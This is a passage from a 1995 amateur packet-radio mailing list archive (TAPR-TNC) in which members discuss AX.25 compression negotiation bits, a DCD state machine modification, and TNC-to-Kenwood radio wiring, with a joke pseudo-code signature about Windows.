reworking, as it would in all xNOS varients.

If what we are designing is a new level 3 protocol, then assign a new
PID, make the spec, and move this discussion to NETSIG, since a level 3
protocol discussion is outside the range of TNC firmware.

If we are designing an extension to the AX25 Link Level protocol, which
supports negotiations (possibly limited to compression, probably not),
then using PIDs and requiring possible major modifications to everyone
software is NOT the most prudent way to go.

Charles:
Thanks for helping to simplify the problem. If we are to extend the Link
Level to support such features as are being discussed, then it MUST make
little or preferrably NO impact on any existing software, and should be
downwardly compatable to todays' environment, as much as possible.

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:
```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

81. Re: [TAPR-TNC:131] Re: Compression/Capability Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Tue, 31 Oct 95 12:13:02 EST

To: tapr-tnc@tapr.org
Message-ID: <15021573.1fb8@ram.net>
Rendered body type: text/plain

>One reason BBS compression has worked out as well as it has is that it
>DOESN'T depend on the network to do anything special.. After the connection
>to the distant BBS is made and compression agreed upon between the two
>stations, the compressed data is exchanged as "normal" packet data. This
>lets me forward compressed over ANY network.

Yes, they run an application protocol to negotiate the forwarding
parameters. I think what we are trying to define is a technique to
allow negotiation with the TNC and either the other TNC or internal
with the network.

>
>To summarize... Let's make an effort to have the ONLY the two stations which
>are connected be required to have compressed TNC's, and be able to do so
>through "network" TNC's, whether they are compressed or not.

The network gets involved when we want to keep the non-compressed TNC
from having garbage on the screen or having to do two connect requests
to the non-compressed station.

>
>Once again, my comment could very easily arisen from simple ignorance of

No they are good comments.

What are your thoughts about having junk on the uncompressed tnc's screen
(which could be a BBS which would generate an error message)

What about the network being able to do compression when you are talking
to a station that does not have compression? (When network based compression
finally works... because it would take time for the network to implement
the various compression schemes that the various tnc developers support)

I agree that at the most basic level the network should be transparent to
what the TNCs are doing, but I also see value in the network being informed
that something else may be going on (The C bit and ability to examine the F2
frames as they pass through)

Thoughts?

****
Thomas A. Moulton, W2VY
w2vy@ram.net

82. Re: [TAPR-TNC:130] Re: Paradigm shift time?

From: "Brian A. Lantz" <brian@lantz.com>
Date: Tue, 31 Oct 1995 11:13:46 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951031110700.20863B-100000@lantz.com>
Rendered body type: text/plain

On Tue, 31 Oct 1995, Howard Goldstein wrote:

> Brian, would it break anything or be difficult to implement if the
> ax.25<>tcp-ip gate code were set up in such a way as it only had to
> recognize 0xf2 and a negotiation bit but did *not* have to pass it along
> the network?

Would it break? Yes. Difficult? Yes.

You see, in xNOS, each PID MUST have a routine defined to handle it, or
else it is ignored. This proposal would require defining a new PID
handler, and finding SOME way to associate it's actions with the actions
of another PID-handler, on another stream, and would require a response
to be made on that OTHER stream, which this new routine does not 'own'.

Is it possible? Yes, but I would have a HARD time getting inspired to put
this kind of a cross-level3 hack into it. The PID is for LEVEL3 types,
which this is NOT.

If we are dead set against using a logical extension of the existing
protocol and simply defining two unused bits as an extension of the
existing spec, then find another way that does NOT improperly use PIDs.
It CANNOT be simpler that the 'bits' proposal, but if it is a logical
proposal that is consistent with the existing spec, and can be easily

'sold' to those who will also have to impliment it, I'll will support it,
too. I cannot support the mis-use of PIDs, though.

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:
```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

83. Re: [TAPR-TNC:131] Re: Compression/Capability Negotiation

From: Bob Nielsen <nielsen@primenet.com>
Date: Tue, 31 Oct 1995 10:03:00 -0700 (MST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951031100158.178B-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Tue, 31 Oct 1995, Charles Brabham wrote:

> Once again, my comment could very easily arisen from simple ignorance of
> what's being discussed. If that's the case, then I'll borrow Rosanna Rosanna
> Danna'a line...
>
> "Never mind!"

That was Emily Latella. Rosanne Rosanna Danna said, "It's always something."

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
http://www.primenet.com/~nielsen   AX.25: w6swe@wb7tls.az.usa.noam

84. Re: [TAPR-TNC:134] Re: Paradigm shift time?

From: "Tom Moulton" <tmoulton@ram.net>
Date: Tue, 31 Oct 95 13:57:39 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1fb9@ram.net>
Rendered body type: text/plain

Ok after some consideration i can go with some of the bits proposal.

The C bit is set to indicate that the station supports the "N" Bit.
The C bit is valid in all frames.

The "N" (which I would like to rename to the Q Bit) is set in I Frames
only and indicates that special data is present. The first byte of data
indicates how the remainder of the data is formatted.

We can then reserve one command byte for use by Compression Negotiation.
Other command bytes could be allocated as needed for different
transactions.

****
Thomas A. Moulton, W2VY
w2vy@ram.net

85. Re: [TAPR-TNC:136] Re: Paradigm shift time?

From: "Tom Moulton" <tmoulton@ram.net>
Date: Tue, 31 Oct 95 14:11:49 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1fba@ram.net>
Rendered body type: text/plain

>We can then reserve one command byte for use by Compression Negotiation.
>Other command bytes could be allocated as needed for different
>transactions.
>

Let me be more clear. The Command byte for Compression would identify
the rest of the user data being used as defined by the Compression
Negotiation Protocol, as of yet undefined.

Kinda like an ID byte for Q Data formatting

****
Thomas A. Moulton, W2VY
w2vy@ram.net

86. Re: [TAPR-TNC:136] Re: Paradigm shift time?

From: "Brian A. Lantz" <brian@lantz.com>
Date: Tue, 31 Oct 1995 14:16:19 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951031140747.23889A-100000@lantz.com>
Rendered body type: text/plain

On Tue, 31 Oct 1995, Tom Moulton wrote:

> Ok after some consideration i can go with some of the bits proposal.

See, and you all thought we couldn't come to any agreements ;-)

> The C bit is set to indicate that the station supports the "N" Bit.
> The C bit is valid in all frames.
>
> The "N" (which I would like to rename to the Q Bit) is set in I Frames
> only and indicates that special data is present. The first byte of data
> indicates how the remainder of the data is formatted.

I can support changing the 'N' to 'Q' (makes more sense in light of
X.25), and I also suggest renaming the 'C' (compression) bit to a 'N'
(negotiable link) bit.

> We can then reserve one command byte for use by Compression Negotiation.
> Other command bytes could be allocated as needed for different
> transactions.

I have discussed this with Tom on the phone, and I think we can agree on
a flexible format for the negotiable facilities (compression, being the
first in mind), that will allow multiple facilities to be negotiated in
the same packet frame.

Since we are at a meeting of the minds, I will try tonight to put
together a summary of where we are at and what we are proposing, and send
it to Tom in the morning. We can hash out a few of the BORING details,
and then send it on to the mailing list for comments and suggestions.

We are now to the place of hashing out how the negotiations take place,
how you distinguish between a negotiation REQUEST and a negotiation
RESPONSE, how to specify point-to-point negotiations versus end-to-end
negotiations, etc.

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:
```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

87. Re: [TAPR-TNC:138] Re: Paradigm shift time?

From: Greg Jones <gjones@tenet.edu>
Date: Tue, 31 Oct 1995 14:25:52 -0600 (CST)
To: tapr-tnc@tapr.org
Message-ID: <199510312025.OAA18333@Leslie-Francis.tenet.edu>
Rendered body type: text/plain

I'll generate a TAPR-TNC area in the ftp section for the mail_archives and
to allow these docs to be uploaded and made available.

I'll let you know when I have it setup.

Greg

88. Re: [TAPR-TNC:136] Re: Paradigm shift time?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Tue, 31 Oct 1995 16:34:16 -0500 (EST)

To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951031162437.2152C-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Tue, 31 Oct 1995, Tom Moulton wrote:

> The "N" (which I would like to rename to the Q Bit) is set in I Frames
> only and indicates that special data is present. The first byte of data
> indicates how the remainder of the data is formatted.

This causes ugliness in spaghetti-coded TNC-2 but is comprimisable,
provided the data field is limited to 256 bytes including the
compression-type byte.

257 byte data fields will have to wait for > TNC-2, or make it negotiable
(maybe make it negotiable anyway)(hey once you define this 'special data'
why not drag in the XID concept? Maybe we can start on a pass at l2v3
while we're here. Gwyn was right about venues and specs.)

--
Howard Goldstein <hg@n2wx.ampr.org> http://www.tapr.org/~n2wx/

89. Re: [TAPR-TNC:140] Re: Paradigm shift time?

From: "Brian A. Lantz" <brian@lantz.com>
Date: Tue, 31 Oct 1995 17:13:46 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951031171133.26529A-100000@lantz.com>
Rendered body type: text/plain

On Tue, 31 Oct 1995, Howard Goldstein wrote:

> On Tue, 31 Oct 1995, Tom Moulton wrote:
>
> > The "N" (which I would like to rename to the Q Bit) is set in I Frames
> > only and indicates that special data is present. The first byte of data
> > indicates how the remainder of the data is formatted.
>
> This causes ugliness in spaghetti-coded TNC-2 but is comprimisable,
> provided the data field is limited to 256 bytes including the
> compression-type byte.

All negotiation I frames would be required to fit within a single 256 byte
packet. If multiple SMALL negotiations were to be done at the same time,
then they COULD be combined into a single packet, as long as they all can
fit within a 256 byte packet.

> 257 byte data fields will have to wait for > TNC-2, or make it negotiable
> (maybe make it negotiable anyway)(hey once you define this 'special data'
> why not drag in the XID concept? Maybe we can start on a pass at l2v3
> while we're here. Gwyn was right about venues and specs.)

Agreed, but let's crawl before we start to try running ;-)

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:
```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

90. Periodic subscription notice

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Tue, 31 Oct 1995 16:51:38 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951031165059.2398B-100000@n2wx.ampr.org>
Rendered body type: text/plain

Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted periodically. Last post: 27 Sep 95

To Unsubscribe:

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

Statement of Purpose

This SIG is intended to be a low volume, high s/n place to discuss issues related to use of the TAPR (and clone) TNCs. It is not moderated at this time; list subscribers are requested to remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the wrong place to post new user questions. Faster and more complete replies to new user questions are more likely to be found in one of the many newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer offerings or to elicit suggestions about "Which TNC should I purchase?" Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine TAPR SIGs as well as this one. Initial crossposting is not necessarily a bad idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly extinguished. The moderator reserves the right to deal with flames and off-topic posts from a stance somewhere between complete arbitrariness and Solomonesque. Hopefully more of the latter than the former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may contain the answer to your questions. You may wish to skim these resources before to posting to the list:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

November 1995

Original source file: tapr-tnc.9511
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9511

1. Re: [TAPR-TNC:133] Re: Compression/Capability Negotiation

From: n5pvl@texoma.com (Charles Brabham)
Date: Wed, 1 Nov 1995 00:43:55 -0600
To: tapr-tnc@tapr.org
Message-ID: <199511010643.AAA29916@mercury.texoma.com>
Rendered body type: text/plain

>
>The network gets involved when we want to keep the non-compressed TNC
>from having garbage on the screen or having to do two connect requests
>to the non-compressed station.

I'm not sure these are so bad.. To me, the garbage characters are useful (
more on this later) and even if two connect requests end up being needed,
we should still realize a "net" improvement. (Please forgive the pun. I'm
entirely serious, and not just trying to be flippant.)

>What are your thoughts about having junk on the uncompressed tnc's screen
>(which could be a BBS which would generate an error message)
>

An interesting side-effect of my BBS's compressed forwarding has been that I
can enjoy completely PRIVATE message exchanges with other BBS SYSOPs. To my
knowlege, no others on packet enjoy any degree of privacy, and this privacy
will be a strong selling point for compressed TNC's. It's mandatory that
decyphering monitored compressed data streams be POSSIBLE, but not mandatory
that we actually DO IT.

>From a BBS SYSOP's viewpoint, I have had complaints over garbage characters,
but these quickly dry up when I explain that it cuts down my BBS's channel
hogging by 30-70 percent. No-one argues after understanding that. This
should carry over nicely for NodeOps as well, in the case of network-based
compression. In the case of individual users, simple privacy will be truly
revolutionary.. Enough so to offset considerations about garbage characters,
in my opinion.
Furthermore...
>From Joe Ham's viewpoint, I'd recommend widespread availability of the NPRIN
parameter (I think that's what it was called) DRSI incorporated into thier
DPK-2 TNC, now out of production. When it is enabled, the headers of
compressed packet frames show on the monitor screen, but not the garbage
characters. This parm should be incorporated into ALL TNC's anyway, in this
day and age. By incorporating this into compressed TNC's, the garbage
characters will serve to encourage hams to upgrade thier existing TNC's, or
buy new ones. As more compressed TNC's hit the market, this effect will
snowball. Existing BBS compression (garbage characters) will give the
"snowball" a healthy start.

(I've always been a firm believer in taking advantage of our "liabilities",
and doing more by doing less.)

>What about the network being able to do compression when you are talking
>to a station that does not have compression? (When network based compression
>finally works... because it would take time for the network to implement
>the various compression schemes that the various tnc developers support)

I keep wondering if compressing already-compressed data has any drawbacks
beyond the wasted processor time. If the data would get through uncorrupted,
I'd run compression for node-node links full time and not even negotiate
compression for node-user links. (on either end) From the user's
viewpoint, the network compression would be REALLY transparent and it would
be up to the two connectees to negotiate compression or not, be it TNC-based
or software based stuff such as the BBS's use. -- That's one possible way to
simplify things, assuming that compressing compressed data (comp-comp) is
not a problem.. (My guess is that it WOULD present problems, though.)

The drawback to this is that when users find out that the network is
compressed, they will be much less likely to take steps to utilize
compression themselves. We might end up literally cutting our own throats,
by hamstringing the market for compressed TNC's. We ought to think this over
carefully. There could be a real advantage in using no compression
whatsoever for node-node (network) links, strange as it may sound. Here's
a few reasons why:

A. No compatability problems, no special network negotiation problems. Any compression scheme a user's TNC or software could throw at the network would fly. No constant compression upgrade chase by already overextended NodeOps.. The very lack of network involvement would provide a constant, stable platform for evolving compression schemes. You do more by doing less, in this respect, and it's hard to beat a deal like that!

B. Here the plot thickens a bit.. I'll try to be brief, but I'll be describing a can of worms so please bear with me.
We are all frustrated by the slow turnover by "Joe Ham" to a higher baud rate. One reason for this which is not generally recognised is that users have developed an attitude that all network improvements are somehow the sole responsibility of the "network guys". It's not just the cost and level of expertise involved here. The average packet op has no clear idea that he's part of the network too, or that he shares responsibility for it's health. It shows.
BBS SYSOPs are not immune to this tendency, and I strongly advocate responsible networking habits among my fellow SYSOPs for this reason. Unfortunately, "selling" personal network responsibility to average packet ops (up to now) has been much harder than it is for BBS SYSOPs.. A SYSOP can use compressed forwarding by using special software and see immediate results, as he can by joining co-operative efforts such as bundled forwarding technique. In order to feel personally involved in ANYTHING, one must first feel that his efforts can make a real difference.

TNC-based compression offers us a chance to give "Joe Ham" a sense of PERSONALLY doing something to improve network throughput, while not requiring very much by way of money or expertise. It will be within his means. This doesn't sound like much, but remember that to this date, Joe Ham with his 1200 bd, 2-meter setup has had no cheap, easy opportunity to develop a sense of pride or personal responsibility as a positive force in improving network throughput. By tossing the ball back in his court with compressed TNC's, we have an EFFECTIVE tool for introducing this sense of pride and responsibility to Joe Ham for the very first time. To some extent, we can now make a networker out of the average packet op, making the further step of going over to a higher baud rate MUCH more likely.

C. There are many TNC's used for nodes, but this number is piddling when compared to the number of TNC's owned by the likes of Joe Ham, who TNC-based compression should be "aimed" at. The manufacturers of TNC's will be the guys sticking thier necks out, and deserve to be able to utilize any marketing advantage we can offer them. Tossing the "compression" ball in the average packet op's court will be a big plus for the purpose of having compressed TNC's become widely, quickly distributed. If we do our part on this end, sales of compressed TNC's should be pretty brisk.

D. It's a strategy which provides less immediate benefit (if you ignore marketing considerations) but the long-term benefit should be truly revolutionary, what with the advent of "private" packet communications and increased network awareness and pride for "Joe Ham".

73 DE N5PVL @ N5PVL.#NTX.TX.USA.NOAM
Internet: n5pvl@texoma.com

The likelihood of the toast landing on the buttered side is directly proportional to the value of the carpet.

2. DCD State Machine

From: tdrumm@sparc.isl.net (Tony Drumm)
Date: Wed, 01 Nov 1995 22:27:24 -0600
To: tapr-tnc@tapr.org
Message-ID: <199511020428.WAA08527@sparc.isl.net>
Rendered body type: text/plain

Hi!

I've run into a problem adding the DCD State Machine mod to my PK-88 and Greg Jones suggested I might find some knowledgable folks here to help!

I built two of the kits and added one to my PK-232 without any major snags. (There was a misleading instruction which had me connect to U8 on the daughter card for the clock. I moved to U8 on the main board and all was well!)

I installed the kit on the PK-88 but it does not sync very well to incoming signals. Some will sync better than others. Switching to the PK-232, it has absolutely no trouble with any. I made some measurements using a voltmeter and checked signals with my old Heathkit scope. I'm getting a good clock signal to the board (I think - the highest scope freq is still too slow but

I do get two nice lines, just as I did on the 232). I'm getting a good rx
signal and it behaves as I'd expect when I turn the volume down and back up.
I also see some signals around the EPROM but I'm not certain what I should
be seeing there. Measuring the voltage on the final output signal from the
eprom shows it dropping somewhat for some input signals but it doesn't drop
a lot. I think I also saw a waveform on that pin which surprised me - I figured
it would just follow the received signals.

Further info: I did goof up one thing. I stuck the black foam to the back
of the board while handling it to help avoid static damage. But I forgot to
remove it when I powered up the PK-88. That prevented it from working at
all at first and I don't know if that could have done any permanent damage.
I know the black foam conducts but it's not exactly a short.

So, any suggestions on what I should try or what to look for?

Thanks and 73!
Tony Drumm
internet: tdrumm@sparc.isl.net
Packet: aa0sm@wd0gnk.#semn.mn.usa.na

3. Re: [TAPR-TNC:143] Re: Compression/Capability Negotiation

From: N0rod@aol.com
Date: Thu, 2 Nov 1995 01:46:40 -0500
To: tapr-tnc@tapr.org
Message-ID: <951102014639_10499661@emout04.mail.aol.com>
Rendered body type: text/plain

Hi Charles. Just ran across your internet address so thought I would say
Hello!
73 Darrell N0ROD

4. Re: [TAPR-TNC:144] DCD State Machine

From: BECHTOLD@afc4a.safb.af.mil (Bechtoldt, GS12 John)
Date: 02 Nov 95 07:57:05 CST
To: tapr-tnc@tapr.org
Message-ID: <75A7753801922879@-SMF->
Rendered body type: text/plain

Tony:

     I have the Tapr DCD State machine installed in my PK-88 and is
functioning properly. I will take some waveform samples with varying
receive signal conditions and pass them on to you. Should get to it this
weekend.

JOHN

email: bechtold@afc4a.safb.af.mil

- Don't become the road kill on the
   Information Highway.

5. Re: [TAPR-TNC:145] Re: Compression/Capability Negotiation

From: n5pvl@texoma.com (Charles Brabham)
Date: Thu, 2 Nov 1995 13:25:31 -0600
To: tapr-tnc@tapr.org
Message-ID: <199511021925.NAA14527@mercury.texoma.com>
Rendered body type: text/plain

>Hi Charles. Just ran across your internet address so thought I would say
>Hello!
>73 Darrell N0ROD
>
>

Howdy, Darrell! It's nice to hear from you! Everything here doing OK.. I
recently lost two radios and TNC's but should have things working again on
my BBS soon. My backup equipment isn't as good as the stuff that fried, but
at least it will get me on the air again.

Take it easy!

73 DE N5PVL @ N5PVL.#NTX.TX.USA.NOAM
Internet: n5pvl@texoma.com

The likelihood of the toast landing on the buttered side is directly
proportional to the value of the carpet.

6. Re: [TAPR-TNC:133] Re: Compression/Capability Negotiation

From: n5pvl@texoma.com (Charles Brabham)
Date: Sun, 5 Nov 1995 01:00:38 -0600
To: tapr-tnc@tapr.org
Message-ID: <199511050700.BAA24623@mercury.texoma.com>
Rendered body type: text/plain

>
>The network gets involved when we want to keep the non-compressed TNC
>from having garbage on the screen or having to do two connect requests
>to the non-compressed station.

I'm not sure these are so bad.. To me, the garbage characters are useful (
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we should still realize a "net" improvement. (Please forgive the pun. I'm
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knowlege, no others on packet enjoy ANY degree of privacy, and this privacy
will be a strong selling point for compressed TNC's. (Whether it's
mentioned in ads or not.)
It's mandatory that decyphering monitored compressed data streams be
POSSIBLE, but not mandatory that we actually DO IT. If the issue of
"compressed monitoring" comes up, I would avoid bothering with it, for this
reason.

>From a BBS SYSOP's viewpoint, I have had complaints over garbage characters,
but these quickly dry up when I explain that it cuts down my BBS's channel
hogging by 30-70 percent. No-one argues after understanding that. This
should carry over nicely for NodeOps as well, in the case of network-based
compression. In the case of individual users, simple privacy will be truly
revolutionary.. Enough so to offset considerations about garbage characters,
in my opinion.
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parameter (I think that's what it was called) DRSI incorporated into thier
DPK-2 TNC, now out of production. When it is enabled, the headers of
compressed packet frames show on the monitor screen, but not the garbage
characters. This parm should be incorporated into ALL TNC's anyway, in this
day and age. By incorporating this into compressed TNC's, the garbage
characters will serve to encourage hams to upgrade thier existing (
non-compressed) TNC's, or buy new ones.
This assumes, of course, that packet headers will not be compressed, but the
data being transferred WILL.
As more compressed TNC's hit the market and more "garbage characters" show
up on packet, this effect will snowball. Existing BBS compression and it's
garbage characters will give the "snowball" a healthy start.
(Compression + NPRIN = Snowball.)

I've always been a firm believer in taking advantage of our "liabilities",
and doing more by doing less.

>What about the network being able to do compression when you are talking
>to a station that does not have compression? (When network based compression
>finally works... because it would take time for the network to implement
>the various compression schemes that the various tnc developers support)

I keep wondering if compressing already-compressed data has any drawbacks
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compression for node-user links on either end. From the user's viewpoint,
the network compression would then be REALLY transparent and it would be up
to the two connectees to negotiate compression or not, be it TNC-based or
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simplify things, assuming that compressing compressed data (comp-comp) is
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There could be a real advantage in using no compression whatsoever for
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We are all frustrated by the slow turnover by "Joe Ham" to a higher baud rate. One reason for this which is not generally recognised is that users have developed an attitude that all network improvements are somehow the sole responsibility of the "network guys". It's not just the cost and level of expertise involved here. The average packet op has no clear idea that he's part of the network too, or that he shares responsibility for it's health. It shows.

BBS SYSOPs are not immune to this tendency, and I strongly advocate responsible networking habits among my fellow SYSOPs for this reason. Unfortunately, "selling" personal network responsibility to average packet ops (up to now) has been much harder than it is for BBS SYSOPs.. A SYSOP can use compressed forwarding by using special software and see immediate results. In order to feel personally involved in ANYTHING, one must first feel that his efforts can make a real difference. For my part, my "network awareness" began when I started using compressed forwarding. It was at that point that I felt I was doing something positive, making a contribution to the net by my actions instead of just "using" it. It made a difference in my attitudes.
TNC-based compression offers us a chance to give "Joe Ham" a sense of PERSONALLY doing something to improve network throughput, while not requiring very much by way of money or expertise. It will be within his means. This doesn't sound like much, but remember that to this date, Joe Ham with his 1200 bd, 2-meter setup has had no cheap, easy opportunity to develop a sense of pride or personal responsibility as a positive force in improving network throughput. By tossing the ball back in his court with compressed TNC's, we have an EFFECTIVE tool for introducing this sense of pride and responsibility to Joe Ham for the very first time. To some small extent, we can now make a networker out of the average packet op, making the further step of going over to a higher baud rate MUCH more likely.

C. There are many TNC's used for nodes, but this number is piddling when compared to the number of TNC's owned by the likes of Joe Ham, who TNC-based compression should be "aimed" at. The manufacturers of TNC's will be the guys sticking thier necks out, and deserve to be able to utilize any marketing advantage we can offer them. Tossing the "compression" ball in the average packet op's court will be a big plus for the purpose of having compressed TNC's become widely, quickly distributed. (I admit this is a weak point, but still..)

D. It's a strategy which provides less immediate benefit (if you ignore marketing considerations) but the long-term benefit should be truly revolutionary, what with the advent of "private" packet communications and increased network awareness and pride for "Joe Ham".

These are just random thoughts. I hope you guys can seperate the wheat from the chaff, and find something of value in there.

73 DE N5PVL @ N5PVL.#NTX.TX.USA.NOAM
Internet: n5pvl@texoma.com

If you need an officer in a hurry, take a nap.

7. ftp tapr-tnc

From: Greg Jones <wd5ivd@tapr.org>
Date: Mon, 6 Nov 1995 05:18:01 -0600 (CST)
To: tapr-tnc@tapr.org (tapr-tnc)
Message-ID: <199511061118.FAA13749@sys1.tapr.org>
Rendered body type: text/plain

Hi TAPR TNC group.

Upon Howie's request the TAPR-TNC SIG now has an ftp area under the SIG area on ftp.tapr.org

Let me know if there are any problems.

Cheers - Greg

8. Re: [TAPR-TNC:146] Re: DCD State Machine

From: tdrumm@sparc.isl.net (Tony Drumm)
Date: Tue, 07 Nov 1995 22:28:15 -0600
To: tapr-tnc@tapr.org
Message-ID: <199511080429.WAA06296@sparc.isl.net>
Rendered body type: text/plain

>   I have the Tapr DCD State machine installed in my PK-88 and is
>functioning properly. I will take some waveform samples with varying
>receive signal conditions and pass them on to you. Should get to it this
>weekend.
>
>JOHN
>

John,

Did you get any of this data?

Thanks!
Tony Drumm
internet: tdrumm@sparc.isl.net
Packet: aa0sm@wd0gnk.#semn.mn.usa.na

9. disregard

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 9 Nov 1995 04:48:09 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951109044702.344B-100000@n2wx.ampr.org>
Rendered body type: text/plain

pse disregard this message [intended to cause pine-fatal bounce for
forwarding to pine's developers]

10. [TAPR-SYS:285] New OS up and running (fwd)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 20 Nov 1995 19:39:42 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951120193912.751E-100000@n2wx.ampr.org>
Rendered body type: text/plain

> Sys1.tapr.org is back up and running under BSD/OS 2.0.1.

This is a test to ensure the TAPR-TNC list is up

11. Re: [TAPR-TNC:152] [TAPR-SYS:285] New OS up and running (fwd)

From: GARTNER NARANJO JULIAN ALBERTO <ejgn031@delta.eafit.edu.co>
Date: Tue, 21 Nov 1995 08:03:22 +0500 (GMT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.SOL.3.91.951121080305.64A-100000@delta.eafit.edu.co>
Rendered body type: text/plain

On Mon, 20 Nov 1995, Howard Goldstein wrote:

> Date: Mon, 20 Nov 1995 19:08:06 -0600 (CST)
> From: Howard Goldstein <hg@penny.n2wx.ampr.org>
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:152] [TAPR-SYS:285] New OS up and running (fwd)
>
> > Sys1.tapr.org is back up and running under BSD/OS 2.0.1.
>
> This is a test to ensure the TAPR-TNC list is up
>
>
OK... received
**********Julian Alberto Gartner Naranjo**********
*   E-mail:ejgn031@delta.eafit.edu.co   *
* HK4-TSY Colombian Radio Relay League - Tel..(574) 412-1383   *
* Computing Science - EAFIT College - Medellin Colombia S.A.   *
**********Tel.(574) 412-1383**********

12. Re: [TAPR-TNC:153] Re: [TAPR-SYS:285] New OS up and running (fwd)

From: ICOMMJJ@aol.com
Date: Tue, 21 Nov 1995 19:16:53 -0500
To: tapr-tnc@tapr.org
Message-ID: <951121191652_87391410@emout04.mail.aol.com>
Rendered body type: text/plain

Received your report via e-mail in Portland, Maine. 73's to you.

13. Interfacing TNC-2 to Kenwood TM421A

From: Bob Nielsen <nielsen@primenet.com>
Date: Wed, 22 Nov 1995 13:55:40 -0700 (MST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951122135301.153A-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

I was wondering if anyone had successfully interfaced a TNC-2 or similar
to a Kenwood TM421a (or 221, 321). I am having a problem with the PTT
line oscillating. The PTT input to the radio goes directly to the CPU
chip with a 47k pullup resistor. I suppose I could use a relay to key
it, but thought I would ask first.

TIA, Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
http://www.primenet.com/~nielsen   AX.25: w6swe@wb7tls.az.usa.noam

14. RE: [TAPR-TNC:155] Interfacing TNC-2 to Kenwood TM421A

From: "EDWARD J. SADOWSKI, JR." <EDSADOW@ids.net>
Date: Wed, 22 Nov 1995 19:59:28 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <951122195928.a69@ids.net>
Rendered body type: text/plain

Bob...

I've been using an mfj 1270b tm-221a combo for years in node service
without any problems whatsoever. Are you sure you have the mike connector
wired correctly? The following is valid for kenwood/alinco:

```
      Mic                tnc

txa   1 <---------------> 1

ptt   2 <---------------> 3

rxa   6 <---------------> 4

shld  7

gnd   8 <---------------> 2
```

As an alternative for rx audio, you may run a shielded cable from pin 4 on
the tnc connector to the speaker jack on the rear of the radio.

73, Ed, K1BYV

15. Re: [TAPR-TNC:155] Interfacing TNC-2 to Kenwood TM421A

From: "Andrew B. White" <k9cw@prairienet.org>
Date: Thu, 23 Nov 1995 07:41:05 -0600 (CST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.3.89.9511230731.A151-0100000@firefly.prairienet.org>
Rendered body type: text/plain

On Wed, 22 Nov 1995, Bob Nielsen wrote:

> I was wondering if anyone had successfully interfaced a TNC-2 or similar
> to a Kenwood TM421a (or 221, 321). I am having a problem with the PTT
> line oscillating. The PTT input to the radio goes directly to the CPU
> chip with a 47k pullup resistor. I suppose I could use a relay to key
> it, but thought I would ask first.
>
Bob, I have used nothing but TM241A's for the past several years at both
a PacketCluster node and two net/rom digipeaters. I have done nothing
other than connect the PTT signal with a shielded cable. If you are
picking up stray RF, you might try a small cap on the radio end of the
cable to see if that fixes it.

73, Drew

---------------------------------------------------------------*
| Andrew B. White K9CW | internet: k9cw@prairienet.org |
| ABW Associates, Ltd. | phone/fax: 217-643-7327 |

---------------------------------------------------------------*

16. RE: [TAPR-TNC:155] Interfacing TNC-2 to Kenwood TM421A

From: bobsmith@mail.i2020.net (Robert L. Smith)
Date: Sat, 25 Nov 95 09:40:01 EST
